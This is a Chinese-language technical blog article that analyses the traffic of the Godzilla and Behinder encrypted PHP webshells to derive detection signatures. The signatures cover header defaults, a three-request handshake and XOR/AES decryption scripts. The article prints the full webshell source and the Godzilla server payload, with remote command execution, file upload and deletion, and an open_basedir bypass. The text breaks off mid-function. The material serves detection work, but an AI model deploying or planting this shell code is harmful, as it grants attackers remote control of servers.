目录

webshell 流量分析

webshell 流量分析

本文以哥斯拉冰蝎为例,对上述两个在攻防对抗中常用的加密型 webshell 的流量进行分析。

1 Godzilla

由于哥斯拉在处理 jsp 和 php 时加密方式存在差异,本文将从 php 版的 shell 展开,对其运行原理再做一下总结和阐述。首先,生成一个 php 静态 webshell,加密器选择 PHP_XOR_BASE64

1.1 HTTP 请求头特征

1.1.1 User-Agent

哥斯拉客户端使用 JAVA 语言编写,在默认的情况下,如果不修改 User-Agent,User-Agent 会类似于 Java/11.0.7(具体什么版本取决于 JDK 环境版本)。但是哥斯拉支持自定义 HTTP 头部,这个默认特征是可以很容易去除的。

1.1.2 Accept

Accept 头为 text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 对这个默认特征应该很熟悉了,之前冰蝎也出现过同样的 Accept。为什么会这么巧合出现两个工具都会出现这个特征呢,其实这个也是 JDK 引入的一个特征,并不是作者自定义的 Accept。同样的这个默认特征也可以通过自定义头部去除,只能作为默认情况下的辅助检测特征。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328125135.png-water_print

1.2 请求体特征

1.2.1 PHP_XOR_BASE64

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328125615.png-water_print

以默认 shell 的密码和密钥为例,生成的文件如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
    session_start();
    @set_time_limit(0);
	  @error_reporting(0);
    function E($D,$K){
        for($i=0;$i<strlen($D);$i++) {
            $D[$i] = $D[$i]^$K[$i+1&15];
        }
        return $D;
    }
    function Q($D){
        return base64_encode($D);
    }
    function O($D){
        return base64_decode($D);
    }
    $P='pass';
    $V='payload';
    $T='3c6e0b8a9c15224a'; // md5(key)[:16]
    if (isset($_POST[$P])){
        $F=O(E(O($_POST[$P]),$T));
        if (isset($_SESSION[$V])){
            $L=$_SESSION[$V];
            $A=explode('|',$L);
            class C{public function nvoke($p) {eval($p."");}}
            $R=new C();
						$R->nvoke($A[0]);
            echo substr(md5($P.$T),0,16);
            echo Q(E(@run($F),$T));
            echo substr(md5($P.$T),16);
        }else{
            $_SESSION[$V]=$F;
        }
    }

其中比较核心的地方有两处,第一处是进行异或加密和解密的函数 E($D,$K),第二处是嵌套的两个 if 对哥斯拉客户端上传的代码做执行并得到结果。

根据 $F=O(E(O($_POST[$P]),$T));第 21 行做逆向判断,可以得到哥斯拉客户端上传代码时的编码加密过程:

原始代码 -> Base64 编码 -> E 函数进行异或加密 -> 再 Base64 编码

进入第二个 if 语句,首先判断 $_SESSION[$V] 是否存在,客户端首次连接 shell 时会在 $_SESSION 中保存一段代码,叫 payload。结合后面 的run 函数,这个 payload 在后续 shell 连接过程中会被调用。整个 shell 的运行原理到这里基本就能明确了,可以用一篇文章中的流程图来总结:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328130431.png-water_print

在客户端上配置代理,利用 Burp 查看下 webshell 的交互流量。

在客户端首次连接时,会有连续三个请求,第一个请求如下:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328143609.png-water_print

根据上述分析的加密原理,可以写一个简单的解密脚本,将 pass 数据进行解密:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
function E($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $D[$i] = $D[$i]^$K[$i+1&15];
    }
    return $D;
}
function O($D){
    return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a'; // md5(key)[:16]
echo O(E(O("要解密的数据"), $T));
?>

解密得到的数据为:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
<?php
$parameters=array();

function run($pms){
    formatParameter($pms.'&ILikeYou='.base64Encode('metoo'));

    if ($_SESSION["bypass_open_basedir"]==true){
        @bypass_open_basedir();
    }

    return base64Encode(evalFunc());
}

function bypass_open_basedir(){
  // ...
}

function formatParameter($pms){
    global $parameters;
    $pms=explode("&",$pms);
    foreach ($pms as $kv){
        $kv=explode("=",$kv);
        if (sizeof($kv)>=2){
            $parameters[$kv[0]]=base64Decode($kv[1]);
        }
    }
}
function evalFunc(){
    @session_write_close();
    $className=get("codeName");
    $methodName=get("methodName");
    if ($methodName!=null){
        if (strlen(trim($className))>0){
            if ($methodName=="includeCode"){
                return includeCode();
            }else{
                if (isset($_SESSION[$className])){
                    return eval($_SESSION[$className]);
                }else{
                    return "{$className} no load";
                }
            }
        }else{
            return $methodName();
        }
    }else{
        return "methodName Is Null";
    }

}
function deleteDir($p){
    $m=@dir($p);
    while(@$f=$m->read()){
        $pf=$p."/".$f;
        @chmod($pf,0777);
        if((is_dir($pf))&&($f!=".")&&($f!="..")){
            deleteDir($pf);
            @rmdir($pf);
        }else if (is_file($pf)&&($f!=".")&&($f!="..")){
            @unlink($pf);
        }
    }
    $m->close();
    @chmod($p,0777);
    return @rmdir($p);
}
function deleteFile(){
    $F=get("fileName");
    if(is_dir($F)){
        return deleteDir($F)?"ok":"fail";
    }else{
        return (file_exists($F)?@unlink($F)?"ok":"fail":"fail");
    }
}
function copyFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (@is_file($srcFileName)){
        if (copy($srcFileName,$destFileName)){
            return "ok";
        }else{
            return "fail";
        }
    }else{
        return "The target does not exist or is not a file";
    }
}
function moveFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (rename($srcFileName,$destFileName)){
        return "ok";
    }else{
        return "fail";
    }

}
function getBasicsInfo()
{
   //...
}
function getFile(){
    // ...
}
function readFileContent(){
    $fileName=get("fileName");
    if (@is_file($fileName)){
        if (@is_readable($fileName)){
            return file_get_contents($fileName);
        }else{
            return "No Permission!";
        }
    }else{
        return "File Not Found";
    }
}
function uploadFile(){
    $fileName=get("fileName");
    $fileValue=get("fileValue");
    if (@file_put_contents($fileName,$fileValue)!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function newDir(){
    $dir=get("dirName");
    if (@mkdir($dir,0777,true)!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function newFile(){
    $fileName=get("fileName");
    if (@file_put_contents($fileName,"")!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function execCommand(){
    $result = "";
    $command = get("cmdLine");
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $command = $command . " 2>&1\n";
    }
    if (is_callable('system') and ! in_array('system', $PadtJn)) {
        ob_start();
        system($command);
        $result = ob_get_contents();
        ob_end_clean();
    } else if (is_callable('proc_open') and ! in_array('proc_open', $PadtJn)) {
        $handle = proc_open($command, array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
        $result = NULL;
        while (! feof($pipes[1])) {
            $result .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if (is_callable('passthru') and ! in_array('passthru', $PadtJn)) {
        ob_start();
        passthru($command);
        $result = ob_get_contents();
        ob_end_clean();
    } else if (is_callable('shell_exec') and ! in_array('shell_exec', $PadtJn)) {
        $result = shell_exec($command);
    } else if (is_callable('exec') and ! in_array('exec', $PadtJn)) {
        $result = array();
        exec($command, $result);
        $result = join(chr(10), $result) . chr(10);
    } else if (is_callable('exec') and ! in_array('popen', $PadtJn)) {
        $fp = popen($command, 'r');
        $result = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $result .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        return "none of proc_open/passthru/shell_exec/exec/exec is available";
    }
    return $result;
}
function execSql(){
   // ...
    }
function pdoExec($databaseType,$host,$port,$username,$password,$execType,$sql){
     // ...
}
function base64Encode($data){
    return base64_encode($data);
}
function test(){
    return "ok";
}
function get($key){
    global $parameters;
    if (isset($parameters[$key])){
        return $parameters[$key];
    }else{
        return null;
    }
}
function includeCode(){
    @session_start();
    $classCode=get("binCode");
    $codeName=get("codeName");
    $_SESSION[$codeName]=$classCode;
    @session_write_close();
    return "ok";
}
function base64Decode($string){
    return base64_decode($string);
}
?>

传输的脚本很长,包含 run、bypass_open_basedir、formatParameter、evalFunc 等二十多个功能函数,具备代码执行、文件操作、数据库操作等诸多功能。

可以发现该条数据包并没有回包,可以作为流量识别的其中一个特征。

第二条数据包及解密情况如下:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328144313.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328144337.png-water_print

跟进第一步解密得到的 run 函数,首先经过 formatParameter 对参数进行处理

信息
作者还在此处拼接了一个 '&ILikeYou='.base64Encode('metoo')

将键和 base64 解密后的值,此处为:methodName=test。存放在全局变量 parameters 中,然后再交给 evalFunc 去执行进一步的操作。

此外,我们对回包情况做分析,根据 webshell 的第 28 行和第 30 行,run 函数中的 return base64Encode(evalFunc());

1
2
3
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);

可以知道,回包是由 $P$T 拼接后的 MD5 前 16 位和后 16 位组成。中间是由 base64encode + 异或 + base64_encode 组成。

解密时,首先去除前 16 位和后 16 位,利用之前的解密脚本,进行解密,得到

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328150501.png-water_print

说明该请求是一条测试请求,证明 shell 连接成功。

第三个请求的作用是获取目标的环境信息,请求内容为:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328150721.png-water_print

利用相同方法解密得到:

解密得到原始代码 methodName=Z2V0QmFzaWNzSW5mbw==,即 methodName=getBasicsInfo。此操作调用 payload 中的 getBasicsInfo 方法获取目标环境信息向客户端返回。显然,这个过程又是一个固定特征。

至此,成功挖掘到哥斯拉客户端与 shell 建连初期的三个固定行为特征,且顺序出现在同一个 TCP 连接中。可以总结为:

特征:发送一段固定代码(payload),http 响应为空

特征:发送一段固定代码(test),执行结果为固定内容

特征:发送一段固定代码(getBacisInfo)

1.2.2 PHP_RAW_BASE64

技巧

我在测试时发现使用默认生成的 raw 格式的 payload 一直连接失败

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328152906.png-water_print

将生成的 webshell 第 30 行的 run 函数前加上 @ 即可成功连接。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $D[$i] = $D[$i]^$K[$i+1&15];
    }
    return $D;
}
function Q($D){
    return base64_encode($D);
}
function O($D){
    return base64_decode($D);
}
function I(){
    return "php://input";
}
$V='payload';
$T='3c6e0b8a9c15224a';
$F=O(E(file_get_contents(I()),$T));

if (isset($_SESSION[$V])){
    $L=$_SESSION[$V];
    $A=explode('|',$L);
    class C{public function nvoke($p) {eval($p."");}}
    $R=new C();
		$R->nvoke($A[0]);
    echo E(@run($F),$T);
}else{
    $_SESSION[$V]=$F;
}

通过比对可以发现,RAW 格式的 shell 与之前的 shell 增加了 I 函数,接收客户端的参数,解密时也少了一步 base64_decode。同样的,在返回结果时,也取消了 MD5 的字符串的分隔,下面做进一步分析。

进入 shell 后,还是相同的三步,设置 session,发送 test,获取基础信息。

本次的解密脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
function E($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $D[$i] = $D[$i]^$K[$i+1&15];
    }
    return $D;
}
function O($D){
    return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a'; // md5(key)[:16]
echo O(E(file_get_contents("./res.txt"), $T));
?>

由于将 HTTP body 中的数据保存在 res.txt 文件中,并解密,可以得到第一步中的 PHP 脚本信息:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328154627.png-water_print

脚本内容基本无变化,具体可以参考上一节的内容。

此时,回包加密的逻辑为 base64encode + 异或的形式。

至此,Godzilla PHP 的两种 shell 加密模式分析完毕。

2 冰蝎

同样以 PHP webshell 为例,使用冰蝎默认的 webshell,并进行测试。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328165530.png-water_print

2.1 HTTP 请求头特征

2.1.1 User-Agent

该特征属于弱特征。普通用户很容易就可以修改。但是我们也分析一下。

冰蝎 3.0 每次请求都会随机选择一个 User-Agent。但是如果用户默认不提供 UA 头,则从系统中随机选择一个 UA 头。在最新版本(v3.0 Beta 6)中的冰蝎源码中,存在如下 User-Agent

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPad; CPU OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPod; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Mobile Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0",
    "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0",
    "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0",
    "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0",
    "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0",
    "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
    "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)",
    "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
}

2.1.2 Accept && Accept-Language

在 ShellService.java 中发现预先设置的 Accept 和 Accept-Language:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328165907.png-water_print

为固定值,同时,如果 webshell 为 php 类型,会设定 Content-Type 值也为一个固定值:text/html;charset=utf-8

在用户未更改默认配置的情况下,上述特征可以作为检测的一个方向。

2.2 HTTP 请求体特征

根据 webshell 的内容,可以分为两种解密方式:

  1. 当目标服务器未开启 openssl 时,采用异或的方式加密
  2. 当目标服务器开启 openssl 时,采用 AES-128 方式加密

解密脚本:

1
2
3
4
5
6
<?php
$key="e45e329feb5d925b";
$post = "待解密的内容";
$post = openssl_decrypt($post, "AES128", $key);
echo $post;
?>

连接 shell 时的第一条数据包:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328171740.png-water_print

解密出连接 shell 时的第一条数据:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328170716.png-water_print

进一步 base64 解密得到传输的内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
@error_reporting(0);
function main($content)
{
	$result = array();
	$result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    $key = $_SESSION['k'];
    echo encrypt(json_encode($result),$key);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$content="qing73XL3NTszHHme5YqeWHi79mSMZaUuubbtH7I65qSGoUqfzFvnD2TW";
main($content);
?>

从上述脚本可以分析到,回包也是用 AES-128 进行加密:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328171023.png-water_print

第二条数据包:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328171948.png-water_print

解密请求:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328172029.png-water_print

base64 解密:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
error_reporting(0);
function main($whatever) {
    ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
    $driveList ="";
    if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))
    {
        for($i=65;$i<=90;$i++)
    	{
    		$drive=chr($i).':/';
    		file_exists($drive) ? $driveList=$driveList.$drive.";":'';
    	}
    }
	else
	{
		$driveList="/";
	}
    $currentPath=getcwd();
    //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
    $osInfo=PHP_OS;
    $result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo));
    //echo json_encode($result);
    session_start();
    $key=$_SESSION['k'];
    //echo json_encode($result);
    //echo openssl_encrypt(json_encode($result), "AES128", $key);
    echo encrypt(json_encode($result), $key);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$whatever="yXC5t2ZpMa4Mj6zCgAXVLhQX5TFoNnjDYke36m2uCtHecRRdxqlbd2AudDH33CNWx41ISHqaJb4PfWbWp3CHTGAfUvFl1x5abikyEbCXL9TPQX5Mhuvjv45zhYNMxvb38UtH2BdLpiGpLFMMXqaNkmIVTEAj3opuUN4sE3wKMryeCAvVgDKwoBGf0YAduvy2vvxvQMXEIPTSB1Blp9fcvzMGyM3Qca0FsYwYwyp2wNj7DDDYmJnvmqF547rTfhgH3NnSlpR7rjG1UorFkZPxrITQuuGkz7dV2JuVVFCKtw8VVl8zGjLGyznpu4yHCChEMxE9YszxTWgowBPURYvMuLyf6YIhJBRl86DcJsWKsaGG9OFwA2t5vcTnHdEO5yRUjRjGCk6P3MfnlqpklSjjrf5lgisxjnvFNBerwYSNWZCMQ56xW2vwNqSZ4iEj0Kg1TBMIBRdnCpc46VE6iVLe34bqx6sXhhXzK0KLnbQ8kDAlLXuJAP87XlZPCVB4zp0eStqoVIHYUTIDhkJ4rH06z1JumGfbT21MQj64CH1PBkHvfOTCkkxXQN8EXZerxZ831SeVRGv37PbNu";
main($whatever);
?>

得到具体执行的内容即获取基本信息。

对回包的解密过程同上,最后可以得到一个 JSON 字符串,其中包含相应的信息。

1
2
3
4
5
6
{
    "basicInfo": "......",
    "driveList": "Lw==",
    "currentPath": "L2hvbWUvZGFlL3BocA==",
    "osInfo": "TGludXg="
}

3 后续补充

Godzilla 更新了 webshell 的逻辑,加密步骤有一点变化:

数据在发送时,经过 encode + base64 两层加密,解密代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
function encode($D,$K){
  for($i=0;$i<strlen($D);$i++) {
      $c = $K[$i+1&15];
      $D[$i] = $D[$i]^$c;
  }
  return $D;
}
$data=encode(base64_decode("",$key));
echo $data;
?>

数据在接收时,除了采用前 16 位和后 16 为的干扰字符外,内容采用 gzip 压缩编码 + 异或 + base64,解密代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
function gzdecode($data)
{
    return gzinflate(substr($data,10,-8));
}

$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=gzdecode(encode(base64_decode(""),$key));
echo $data;
?>

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210419120330.png-water_print

附:session 中存储的代码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
<?php
$parameters=array();
$_SES=array();
function run($pms){
    reDefSystemFunc();
    $_SES=&getSession();
    @session_start();
    $sessioId=md5(session_id());
    if (isset($_SESSION[$sessioId])){
        $_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId)));
    }
    @session_write_close();

    if (canCallGzipDecode()==1&&@isGzipStream($pms)){
        $pms=gzdecode($pms);
    }
    formatParameter($pms);

    if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
        @bypass_open_basedir();
    }

    $result=evalFunc();

    if ($_SES!==null){
        session_start();
        $_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId));
        @session_write_close();
    }

    if (canCallGzipEncode()){
        $result=gzencode($result,6);
    }

    return $result;
}
function S1MiwYYr($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $D[$i] = $D[$i]^$K[($i+1)%15];
    }
    return $D;
}
function reDefSystemFunc(){
    if (!function_exists("file_get_contents")) {
        function file_get_contents($file) {
            $f = @fopen($file,"rb");
            $contents = false;
            if ($f) {
                do { $contents .= fgets($f); } while (!feof($f));
            }
            fclose($f);
            return $contents;
        }
    }
    if (!function_exists('gzdecode')&&function_existsEx("gzinflate")) {
        function gzdecode($data)
        {
            return gzinflate(substr($data,10,-8));
        }
    }
}
function &getSession(){
    global $_SES;
    return $_SES;
}
function bypass_open_basedir(){
    @$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
    $allFiles = @scandir($_FILENAME);
    $cdStatus=false;
    if ($allFiles!=null){
        foreach ($allFiles as $fileName) {
            if ($fileName!="."&&$fileName!=".."){
                if (@is_dir($fileName)){
                    if (@chdir($fileName)===true){
                        $cdStatus=true;
                        break;
                    }
                }
            }

        }
    }
    if(!@file_exists('bypass_open_basedir')&&!$cdStatus){
        @mkdir('bypass_open_basedir');
    }
    if (!$cdStatus){
        @chdir('bypass_open_basedir');
    }
    @ini_set('open_basedir','..');
    @$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
    @$_path = str_replace("\\",'/',$_FILENAME);
    @$_num = substr_count($_path,'/') + 1;
    $_i = 0;
    while($_i < $_num){
        @chdir('..');
        $_i++;
    }
    @ini_set('open_basedir','/');
    if (!$cdStatus){
        @rmdir($_FILENAME.'/'.'bypass_open_basedir');
    }
}
function formatParameter($pms){
    global $parameters;
    $index=0;
    $key=null;
    while (true){
        $q=$pms[$index];
        if (ord($q)==0x02){
            $len=bytesToInteger(getBytes(substr($pms,$index+1,4)),0);
            $index+=4;
            $value=substr($pms,$index+1,$len);
            $index+=$len;
            $parameters[$key]=$value;
            $key=null;
        }else{
            $key.=$q;
        }
        $index++;
        if ($index>strlen($pms)-1){
            break;
        }
    }
}
function evalFunc(){
    try{
        @session_write_close();
        $className=get("codeName");
        $methodName=get("methodName");
        $_SES=&getSession();
        if ($methodName!=null){
            if (strlen(trim($className))>0){
                if ($methodName=="includeCode"){
                    return includeCode();
                }else{
                    if (isset($_SES[$className])){
                        return eval($_SES[$className]);
                    }else{
                        return "{$className} no load";
                    }
                }
            }else{
                if (function_exists($methodName)){
                    return $methodName();
                }else{
                    return "function {$methodName} not exist";
                }
            }
        }else{
            return "methodName Is Null";
        }
    }catch (Exception $e){
        return "ERROR://".$e -> getMessage();
    }

}
function deleteDir($p){
    $m=@dir($p);
    while(@$f=$m->read()){
        $pf=$p."/".$f;
